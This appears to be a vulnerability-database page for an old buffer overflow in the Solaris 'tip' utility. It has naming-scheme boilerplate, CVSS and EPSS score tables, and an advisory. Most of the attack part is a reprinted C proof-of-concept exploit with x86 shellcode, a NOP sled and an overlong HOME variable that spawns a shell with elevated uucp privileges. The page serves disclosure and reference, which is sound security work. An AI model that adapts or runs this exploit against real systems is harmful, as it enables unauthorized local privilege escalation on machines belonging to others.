CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Buffer overflow in tip in Solaris 8 and earlier allows local users to execute arbitrary commands via a long HOME environmental variable.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
7.2
AV:L/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
1.76%
–
–
2022-03-27
–
–
1.76%
–
–
2022-04-03
–
–
1.76%
–
–
2022-04-17
–
–
1.76%
–
–
2022-08-28
–
–
1.76%
–
–
2023-03-05
–
–
1.76%
–
–
2023-03-12
–
–
–
0.04%
–
2024-06-02
–
–
–
0.04%
–
2025-01-19
–
–
–
0.04%
–
2025-03-18
–
–
–
–
0.18%
2025-03-30
–
–
–
–
0.18%
2025-04-15
–
–
–
–
0.18%
2025-04-15
–
–
–
–
0.18,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Publication date : 2001-03-26 22h00 +00:00 Author : Pablo Sor EDB Verified : Yes
// source: https://www.securityfocus.com/bid/2475/info
tip is a utility included with Sun Microsystems Solaris Operating Environment. tip allows a user to establish a full duplex terminal connection with a remote host.
A problem with tip could lead to a buffer overflow. Due to the improper handling of environment variables by tip, it is possible to overflow a buffer in the program, and execute arbitrary code. The tip binary is suid uucp, and exploitation could lead to an euid of uucp.
Therefore, it is possible for a local user to execute arbitrary code, and gain an euid of uucp, with the potential of gaining privileges elevated to root.
#include <fcntl.h>
/*
/usr/bin/tip overflow proof of conecpt.
Pablo Sor, Buenos Aires, Argentina 03/2001
psor@afip.gov.ar
works against x86 solaris 7,8
default offset should work.
*/
long get_esp() { __asm__("movl %esp,%eax"); }
int main(int ac, char **av)
{
char shell[]=
"\xeb\x0a\x9a\x01\x02\x03\x5c\x07\x04\xc3\xeb\x05"
"\xe8\xf9\xff\xff\xff\x5e\x29\xc0\x88\x46\xf7\x89\x46\xf2"
"\x50\xb0\x8d\xe8\xe0\xff\xff\xff\x6a\x05\x90\xb0\x17\xe8\xd6\xff\xff\xff"
"\xeb\x1f\x5e\x8d\x1e\x89\x5e\x0b\x29\xc0\x88\x46\x19\x89\x46\x14"
"\x89\x46\x0f\x89\x46\x07\xb0\x3b\x8d\x4e\x0b\x51\x51\x53\x50\xeb\x18"
"\xe8\xdc\xff\xff\xff\x2f\x74\x6d\x70\x2f\x78\x78\x01\x01\x01\x01\x02\x02"
"\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
unsigned long magic = get_esp() + 0x50; /* default offset */
unsigned char buf[600];
symlink("/bin/ksh","/tmp/xx");
memset(buf,0x90,600);
buf[599]=0;
memcpy(buf+(sizeof(buf)-strlen(shell)),shell,strlen(shell));
memcpy(buf,"HOME=",5);
memcpy(buf+265,&magic,4);
putenv(buf);
system("/usr/bin/tip 5");
unlink("/tmp/xx");
}